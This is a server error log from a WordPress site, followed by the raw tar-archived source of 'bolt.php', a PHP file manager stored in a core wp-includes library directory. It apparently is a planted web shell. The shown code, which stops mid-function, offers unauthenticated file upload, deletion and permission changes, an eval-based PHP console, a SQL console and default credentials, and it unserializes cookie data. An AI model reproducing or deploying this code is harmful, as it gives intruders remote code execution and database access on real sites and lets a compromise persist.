[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
